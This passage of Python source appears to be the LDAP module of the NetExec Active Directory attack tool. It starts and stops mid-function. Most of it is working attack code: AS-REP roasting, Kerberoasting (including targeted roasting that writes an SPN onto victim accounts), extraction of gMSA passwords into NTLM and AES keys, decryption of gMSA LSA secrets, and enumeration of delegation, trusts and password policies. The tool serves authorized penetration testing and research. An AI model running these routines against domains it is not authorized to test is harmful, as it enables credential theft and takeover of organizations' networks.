resolv.timeout = self.args.dns_timeout def resolve_and_display_hostname(name, domain_name=None): prefix = f"[{domain_name}] " if domain_name else "" try: # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: try: answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) for rdata in answers: if record_type in ["A", "AAAA"]: ip_address = rdata.to_text() self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}") return elif record_type == "CNAME": self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") return elif record_type == "PTR": self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") return elif record_type == "NS": self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") return except resolver.NXDOMAIN: self.logger.fail(f"{prefix}{name} ({record_type}) = Host not found (NXDOMAIN)") except resolver.Timeout: self.logger.fail(f"{prefix}{name} ({record_type}) = Connection timed out") except resolver.NoAnswer: self.logger.fail(f"{prefix}{name} ({record_type}) = DNS server did not respond") except resolver.NoNameservers: self.logger.fail(f"{prefix}{name} ({record_type}) = No nameservers available") except Exception as e: self.logger.fail(f"{prefix}{name} ({record_type}) encountered an unexpected error: {e}") except Exception as e: self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}") # Find all domain controllers in the current domain self.logger.info("Enumerating Domain Controllers in current domain...") search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] resp = self.search(search_filter, attributes) resp_parse = parse_result_attributes(resp) for item in resp_parse: if "dNSHostName" in item: # Get dNSHostName attribute resolve_and_display_hostname(item["dNSHostName"]) # Find all trusted domains self.logger.info("Enumerating Trusted Domains...") search_filter = "(objectClass=trustedDomain)" attributes = ["name", "trustDirection", "trustType", "trustAttributes", "flatName"] resp = self.search(search_filter, attributes, 0) trust_resp_parse = parse_result_attributes(resp) for trust in trust_resp_parse: try: trust_name = trust["name"] trust_flat_name = trust["flatName"] trust_direction = int(trust["trustDirection"]) trust_type = int(trust["trustType"]) trust_attributes = int(trust["trustAttributes"]) # See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c trust_attribute_flags = { 0x1: "Non-Transitive", 0x2: "Uplevel-Only", 0x4: "Quarantined Domain", 0x8: "Forest Transitive", 0x10: "Cross Organization", 0x20: "Within Forest", 0x40: "Treat as External", 0x80: "Uses RC4 Encryption", 0x200: "Cross Organization No TGT Delegation", 0x800: "Cross Organization Enable TGT Delegation", 0x2000: "PAM Trust" } # For check if multiple posibble flags, like Uplevel-Only, Treat as External trust_attributes_text = ", ".join( text for flag, text in trust_attribute_flags.items() if trust_attributes & flag ) or "Other" # If Trust attrs not known # Convert trust direction/type to human-readable format direction_text = { 0: "Disabled", 1: "Inbound", 2: "Outbound", 3: "Bidirectional", }[trust_direction] trust_type_text = { 1: "Windows NT", 2: "Active Directory", 3: "Kerberos", 4: "Unknown", 5: "Azure Active Directory", }[trust_type] self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}") except Exception as e: self.logger.fail(f"Failed {e} in trust entry: {trust}") # Only process if it's an Active Directory trust if int(trust_type) == 2: # Try to find domain controllers in trusted domain using DNS # Check if we can resolve the trusted domain's DC using DNS dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" try: srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") for srv in srv_records: dc_hostname = str(srv.target).rstrip(".") self.logger.success(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0], attrs=['bold'])}") self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") resolve_and_display_hostname(dc_hostname) except Exception as e: self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") else: self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") self.logger.info("Domain Controller enumeration complete.") def active_users(self): if len(self.args.active_users) > 0: self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: self.logger.debug("Trying to dump all users") search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: all_users = parse_result_attributes(resp) # Filter disabled users (ignore accounts without userAccountControl value) active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in active_users: pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): # Building the search filter search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))" resp = self.search(search_filter, attributes=["sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) if not resp_parsed: self.logger.highlight("No entries found!") else: self.logger.display(f"Total of records returned {len(resp_parsed)}") for user in resp_parsed: hash_TGT = KerberosAttacks(self).get_tgt_asroast(user["sAMAccountName"]) if hash_TGT: self.logger.highlight(f"{hash_TGT}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_TGT}\n") def kerberoasting(self): if self.args.no_preauth_targets: self.roast_no_preauth() return if self.args.targeted_kerberoast: target_users = parse_argument(self.args.targeted_kerberoast) user_filter = "".join(f"(sAMAccountName={user})" for user in target_users) searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))" elif self.args.kerberoast_account: target_accounts = parse_argument(self.args.kerberoast_account) self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") # build search filter for specific users user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts]) searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))" else: # default to all searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))" attributes = [ "sAMAccountName", "userAccountControl", "servicePrincipalName", "MemberOf", "pwdLastSet", "lastLogon", "objectClass", "distinguishedName", ] resp = self.search(searchFilter, attributes) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Search Filter: {searchFilter}") self.logger.debug(f"Attributes: {attributes}") self.logger.debug(f"Response: {resp_parsed}") if not resp_parsed: self.logger.highlight("No entries found!") return # Filter disabled and invalid accounts disabled_accounts = [x for x in resp_parsed if int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE] for account in disabled_accounts: self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") enabled = [x for x in resp_parsed if not int(x.get("userAccountControl", 0)) & UF_ACCOUNTDISABLE] if self.args.targeted_kerberoast: self.logger.success(f"Found {len(enabled)} enabled users without SPN.") else: self.logger.display(f"Total of records returned {len(enabled):d}") for user in enabled: spn_added = False if self.args.targeted_kerberoast: try: self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]}) self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}") spn_added = True except ldap_impacket.LDAPSessionError as e: if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e): self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute") else: self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}") self.logger.debug("Traceback", exc_info=True) continue try: TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( principalName, self.domain, self.kdcHost, TGT["KDC_REP"], TGT["cipher"], TGT["sessionKey"], ) out = KerberosAttacks(self).output_tgs( tgs, oldSessionKey, sessionKey, user["sAMAccountName"], f"{self.targetDomain}\\{user['sAMAccountName']}", is_computer="computer" in user.get("objectClass", []) ) pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") self.logger.highlight(out) if self.args.kerberoasting: with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(out + "\n") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") finally: if spn_added: try: self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) self.logger.debug(f"SPN removed for {user['sAMAccountName']}") except Exception as cleanup_error: self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}") def roast_no_preauth(self): usernames = parse_argument(self.args.no_preauth_targets) skipped = [] hashes = [] for spn in usernames: base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip() if base_name.lower() == "krbtgt" or base_name.endswith("$"): skipped.append(base_name) continue if not self.username: self.logger.fail("Likely executed without password flag. Please run the command with -p ''") return hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn) if hashline: hashes.append(hashline) if skipped: self.logger.display(f"Skipping account: {', '.join(skipped)}") if hashes: self.logger.display(f"Total of records returned {len(hashes)}") else: self.logger.highlight("No entries found!") for line in hashes: self.logger.highlight(line) with open(self.args.kerberoasting, "a+") as f: f.write(line + "\n") def query(self): """ Query the LDAP server with the specified filter and attributes. Example usage: --query "(sAMAccountName=Administrator)" "sAMAccountName pwdLastSet memberOf" """ search_filter = self.args.query[0] attributes = [attr.strip() for attr in self.args.query[1].split(" ")] if len(attributes) == 1 and attributes[0] == "": attributes = None if not search_filter: self.logger.fail("No filter specified") return self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") try: resp = self.search(search_filter, attributes, 0) except LDAPFilterSyntaxError as e: self.logger.fail(f"LDAP Filter Syntax Error: {e}") return # A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry. entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)] for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True): self.logger.success(f"Response for object: {entry['objectName']}") for attribute, value in attribute_map.items(): if isinstance(value, list) and value: # Display first item in the same line as attribute self.logger.highlight(f"{attribute:<20} {value.pop(0)}") for item in value: self.logger.highlight(f"{'':<20} {item}") else: self.logger.highlight(f"{attribute:<20} {value}") def find_delegation(self): def printTable(items, header): colLen = [] # Calculating maximum length before parsing CN. for i, col in enumerate(header): rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) colLen.append(max(rowMaxLen, len(col))) # Create the format string for each row outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) # Print header self.logger.highlight(outputFormat.format(*header)) self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) # Print rows for row in items: # Get first CN value. if "CN=" in row[1]: row[1] = row[1].split(",")[0].split("CN=")[-1] # Added join for DelegationRightsTo row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3] self.logger.highlight(outputFormat.format(*row)) # Building the search filter search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})" f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] resp = self.search(search_filter, attributes) answers = [] resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed)}") for item in resp_parsed: sAMAccountName = "" userAccountControl = 0 delegation = "" objectType = "" rightsTo = [] protocolTransition = 0 try: sAMAccountName = item["sAMAccountName"] userAccountControl = int(item["userAccountControl"]) objectType = item.get("objectCategory") # Filter out DCs, unconstrained delegation to DCs is not a useful information if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT: delegation = "Unconstrained" rightsTo.append("N/A") elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = "Constrained w/ Protocol Transition" protocolTransition = 1 if item.get("msDS-AllowedToDelegateTo") is not None: if protocolTransition == 0: delegation = "Constrained" rightsTo = item.get("msDS-AllowedToDelegateTo") # Not an elif as an object could both have RBCD and another type of delegation if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") rbcdRights = [] rbcdObjType = [] sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) if len(sd["Dacl"].aces) > 0: search_filter = "(&(|" for ace in sd["Dacl"].aces: search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))" delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"]) delegUserResp_parse = parse_result_attributes(delegUserResp) for rbcd in delegUserResp_parse: rbcdRights.append(str(rbcd.get("sAMAccountName"))) rbcdObjType.append(str(rbcd.get("objectCategory"))) for rights, objType in zip(rbcdRights, rbcdObjType, strict=True): answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: self.logger.error(f"Skipping item, cannot process due to error {e}") if answers: printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) else: self.logger.fail("No entries found!") def trusted_for_delegation(self): # Building the search filter searchFilter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" resp = self.search(searchFilter, attributes=["sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") if resp_parsed: for item in resp_parsed: self.logger.highlight(item["sAMAccountName"]) else: self.logger.fail("No entries found!") def password_not_required(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" attributes = [ "sAMAccountName", "userAccountControl", ] resp = self.search(searchFilter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") if resp_parsed: for user in resp_parsed: status = "disabled" if int(user["userAccountControl"]) & 2 else "enabled" self.logger.highlight(f"User: {user['sAMAccountName']} Status: {status}") else: self.logger.fail("No entries found!") def admin_count(self): # Building the search filter resp = self.search(searchFilter="(&(adminCount=1)(objectClass=user))", attributes=["sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") if resp_parsed: for user in resp_parsed: self.logger.highlight(user["sAMAccountName"]) else: self.logger.fail("No entries found!") def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.search( searchFilter=search_filter, attributes=[ "sAMAccountName", "msDS-ManagedPassword", "msDS-GroupMSAMembership", ], ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) if gmsa_accounts_parsed: self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") for acc in gmsa_accounts_parsed: # PrincipalAllowedToRetrieveGMSAPassword principal_with_read = [] if "msDS-GroupMSAMembership" in acc: msDS_GroupMSAMembership = acc["msDS-GroupMSAMembership"] dacl = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(msDS_GroupMSAMembership)) # Get all SIDs that have the right to read the password sids = [ace["Ace"]["Sid"].formatCanonical() for ace in dacl["Dacl"]["Data"] if ace["AceType"] == 0x00] self.logger.debug(f"msDS-GroupMSAMembership: {sids}") search_filter = "(|" + "".join([f"(objectSid={sid})" for sid in sids]) + ")" resp = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, ) resp_parsed = parse_result_attributes(resp) if len(resp_parsed) > 1: principal_with_read = [f"{item['sAMAccountName']}" for item in resp_parsed] elif len(resp_parsed) == 1: principal_with_read = resp_parsed[0]["sAMAccountName"] # Get the password rc4 = "" aes128 = aes256 = "" if "msDS-ManagedPassword" in acc: rc4, aes128, aes256 = self.gmsa_compute_secrets(acc["msDS-ManagedPassword"], acc["sAMAccountName"]) self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {rc4:<36} PrincipalsAllowedToReadPassword: {principal_with_read}") if aes128 and aes256: self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes128-cts-hmac-sha1-96: {aes128}") self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes256-cts-hmac-sha1-96: {aes256}") def gmsa_compute_secrets(self, password_data: bytes, sAMAccountName: str): """Generate RC4, AES128, and AES256 keys for a GMSA account based on the provided password data and username.""" blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(password_data) current_password = hexlify(blob["CurrentPassword"].rstrip(b"\x00")).decode() keys = generate_kerberos_keys(hex_pass=current_password, user=sAMAccountName, domain=self.targetDomain) rc4 = hexlify(keys[constants.EncryptionTypes.rc4_hmac.value].contents).decode() aes128 = hexlify(keys[constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value].contents).decode() aes256 = hexlify(keys[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value].contents).decode() return rc4, aes128, aes256 def decipher_gmsa_name(self, domain_name=None, account_name=None): # https://aadinternals.com/post/gmsa/ gmsa_account_name = (domain_name + account_name).upper() self.logger.debug(f"GMSA name for {gmsa_account_name}") bin_account_name = gmsa_account_name.encode("utf-16le") bin_hash = hmac.new(bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest() hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: str_hash += hex_letters[b & 0x0F] str_hash += hex_letters[b >> 0x04] self.logger.debug(f"Hash2: {str_hash}") return str_hash def gmsa_convert_id(self): if len(self.args.gmsa_convert_id) != 64: self.logger.fail("Length of the gmsa id not correct :'(") else: # getting the gmsa account gmsa_accounts = self.search( searchFilter="(objectClass=msDS-GroupManagedServiceAccount)", attributes=["sAMAccountName"], ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") for acc in gmsa_accounts_parsed: if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == self.args.gmsa_convert_id: self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}") break def gmsa_decrypt_lsa(self): if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") # getting the gmsa account gmsa_accounts = self.search( searchFilter="(objectClass=msDS-GroupManagedServiceAccount)", attributes=["sAMAccountName"], ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) sAMAccountName = "" if gmsa_accounts_parsed: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") for acc in gmsa_accounts_parsed: if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == gmsa_id: sAMAccountName = acc["sAMAccountName"] break # Compute the password and keys data = bytes.fromhex(gmsa_pass) rc4, aes128, aes256 = self.gmsa_compute_secrets(data, sAMAccountName) self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {rc4}") if not sAMAccountName: self.logger.fail("Could not find the GMSA account associated with the provided ID.") else: self.logger.highlight(f"Account: {sAMAccountName:<20} aes128-cts-hmac-sha1-96: {aes128}") self.logger.highlight(f"Account: {sAMAccountName:<20} aes256-cts-hmac-sha1-96: {aes256}") else: self.logger.fail("The provided string does not appear to be a valid GMSA LSA secret.") def pso(self): """ Get the Fine Grained Password Policy/PSOs Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP """ # Convert LDAP time to human readable format def pso_days(ldap_time): return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days" def pso_mins(ldap_time): return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes" # Are there even any FGPPs? self.logger.info("Attempting to enumerate policies...") resp = self.search(searchFilter="(objectclass=*)", baseDN=f"CN=Password Settings Container,CN=System,{self.baseDN}", attributes=[]) if len(resp) > 1: self.logger.highlight(f"{len(resp) - 1} PSO Objects found!") self.logger.highlight("") self.logger.success("Attempting to enumerate objects with an applied policy...") # Who do they apply to? resp = self.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"]) resp_parsed = parse_result_attributes(resp) for attrs in resp_parsed: if "msDS-PSOApplied" in attrs: # Get the distinguished name from the original response for objectName for orig_resp in resp: if isinstance(orig_resp, ldapasn1_impacket.SearchResultEntry): self.logger.highlight(f"Object: {orig_resp['objectName']}") break self.logger.highlight("Applied Policy: ") pso_applied = attrs["msDS-PSOApplied"] self.logger.highlight(f"\t{pso_applied}") self.logger.highlight("") # Let's find out even more details! self.logger.info("Attempting to enumerate details...\n") resp = self.search(searchFilter="(objectclass=msDS-PasswordSettings)", attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength", "msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration", "msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description", "msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"]) resp_parsed = parse_result_attributes(resp) for attrs in resp_parsed: policyName = attrs.get("name", "") description = attrs.get("description", "") passwordLength = attrs.get("msDS-MinimumPasswordLength", "") passwordhistorylength = attrs.get("msDS-PasswordHistoryLength", "") lockoutThreshold = attrs.get("msDS-LockoutThreshold", "") observationWindow = attrs.get("msDS-LockoutObservationWindow", "") lockoutDuration = attrs.get("msDS-LockoutDuration", "") complexity = attrs.get("msDS-PasswordComplexityEnabled", "") minPassAge = attrs.get("msDS-MinimumPasswordAge", "") maxPassAge = attrs.get("msDS-MaximumPasswordAge", "") reverseibleEncryption = attrs.get("msDS-PasswordReversibleEncryptionEnabled", "") precedence = attrs.get("msDS-PasswordSettingsPrecedence", "") policyApplies = attrs.get("msDS-PSOAppliesTo", "") self.logger.highlight(f"Policy Name: {policyName}") if description: self.logger.highlight(f"Description: {description}") self.logger.highlight(f"Minimum Password Length: {passwordLength}") self.logger.highlight(f"Minimum Password History Length: {passwordhistorylength}") self.logger.highlight(f"Lockout Threshold: {lockoutThreshold}") self.logger.highlight(f"Observation Window: {pso_mins(observationWindow)}") self.logger.highlight(f"Lockout Duration: {pso_mins(lockoutDuration)}") self.logger.highlight(f"Complexity Enabled: {complexity}") self.logger.highlight(f"Minimum Password Age: {pso_days(minPassAge)}") self.logger.highlight(f"Maximum Password Age: {pso_days(maxPassAge)}") self.logger.highlight(f"Reversible Encryption: {reverseibleEncryption}") self.logger.highlight(f"Precedence: {precedence} (Lower is Higher Priority)") self.logger.highlight("Policy Applies to:") if isinstance(policyApplies, list): for value in policyApplies: if value: self.logger.highlight(f"\t{value}") elif policyApplies: self.logger.highlight(f"\t{policyApplies}") self.logger.highlight("") def pass_pol(self): search_filter = "(objectClass=domainDNS)" attributes = [ "minPwdLength", "pwdHistoryLength", "maxPwdAge", "minPwdAge", "lockoutThreshold", "lockoutDuration", "lockOutObservationWindow", "forceLogoff", "pwdProperties" ] resp = self.search(search_filter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) if not resp_parsed: self.logger.fail("No domain password policy found!") return for policy in resp_parsed: def ldap_to_filetime(ldap_time): """Convert LDAP time to FILETIME format for convert function""" if not ldap_time or ldap_time == "0": return 0, 0 time_int = int(ldap_time) if time_int < 0: time_int = abs(time_int) low = time_int & 0xFFFFFFFF high = (time_int >> 32) & 0xFFFFFFFF if ldap_time.startswith("-") or int(ldap_time) < 0: high = -high return low, high min_pass_len = policy.get("minPwdLength", "None") pass_hist_len = policy.get("pwdHistoryLength", "None") max_pwd_age_low, max_pwd_age_high = ldap_to_filetime(policy.get("maxPwdAge", "0")) max_pass_age = convert(max_pwd_age_low, max_pwd_age_high) min_pwd_age_low, min_pwd_age_high = ldap_to_filetime(policy.get("minPwdAge", "0")) min_pass_age = convert(min_pwd_age_low, min_pwd_age_high) accnt_lock_thres = policy.get("lockoutThreshold", "None") lockout_duration_val = policy.get("lockoutDuration", "0") lock_accnt_dur = convert(0, int(lockout_duration_val) if lockout_duration_val != "0" else 0, lockout=True) lockout_obs_val = policy.get("lockOutObservationWindow", "0") rst_accnt_lock_counter = convert(0, int(lockout_obs_val) if lockout_obs_val != "0" else 0, lockout=True) force_logoff_low, force_logoff_high = ldap_to_filetime(policy.get("forceLogoff", "0")) force_logoff_time = convert(force_logoff_low, force_logoff_high) # Convert password properties using existing d2b function pwd_properties = policy.get("pwdProperties", "0") pass_prop = d2b(int(pwd_properties)) if pwd_properties != "0" else "000000" # Use the same formatting and constants as SMB passpol PASSCOMPLEX = { 5: "Domain Password Complex:", 4: "Domain Password No Anon Change:", 3: "Domain Password No Clear Change:", 2: "Domain Password Lockout Admins:", 1: "Domain Password Store Cleartext:", 0: "Domain Refuse Password Change:", } # Pretty print using same format as SMB self.logger.success(f"Dumping password info for domain: {self.domain}") self.logger.highlight(f"Minimum password length: {min_pass_len}") self.logger.highlight(f"Password history length: {pass_hist_len}") self.logger.highlight(f"Maximum password age: {max_pass_age}") self.logger.highlight("") self.logger.highlight(f"Password Complexity Flags: {pass_prop or 'None'}") for i, a in enumerate(pass_prop): self.logger.highlight(f"\t{PASSCOMPLEX[i]} {a!s}") self.logger.highlight("") self.logger.highlight(f"Minimum password age: {min_pass_age}") self.logger.highlight(f"Reset Account Lockout Counter: {rst_accnt_lock_counter}") self.logger.highlight(f"Locked Account Duration: {lock_accnt_dur}") self.logger.highlight(f"Account Lockout Threshold: {accnt_lock_thres}") self.logger.highlight(f"Forced Log off Time: {force_logoff_time}") break # Only process first policy result def bloodhound(self): collect, excluded = resolve_collection_methods("Default" if not self.args.collection else self.args.collection, self.logger) if not collect: return self.logger.highlight("Resolved collection methods: " + ", ".join(sorted(collect))) self.logger.highlight("Excluded collection methods: " + ", ".join(sorted(excluded))) # Check which BloodHound version is desired use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() # ADCS collection is only compatible with BloodHound-CE if "adcs" in collect and not use_bhce: self.logger.fail("ADCS collection is only compatible with the BloodHound-CE collector, but legacy bloodhound is selected") return if use_bhce and not is_ce: self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") self.logger.fail("poetry add bloodhound-ce") self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") self.logger.fail("pipx runpip netexec uninstall -y bloodhound") self.logger.fail("pipx inject netexec bloodhound-ce --force") return elif not use_bhce and is_ce: self.logger.fail("⚠️ Configuration Issue Detected ⚠️") self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound") self.logger.fail("") # If using pipx self.logger.fail("Or if you installed with pipx:") self.logger.fail("pipx runpip netexec uninstall -y bloodhound-ce") self.logger.fail("pipx inject netexec bloodhound --force") return timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_" adcs_files = [] # Separate ADCS from bloodhound-python methods bh_collect = {m for m in collect if m != "adcs"} # Run bloodhound-python collection if needed if len(bh_collect) > 0: auth = ADAuthentication( username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, 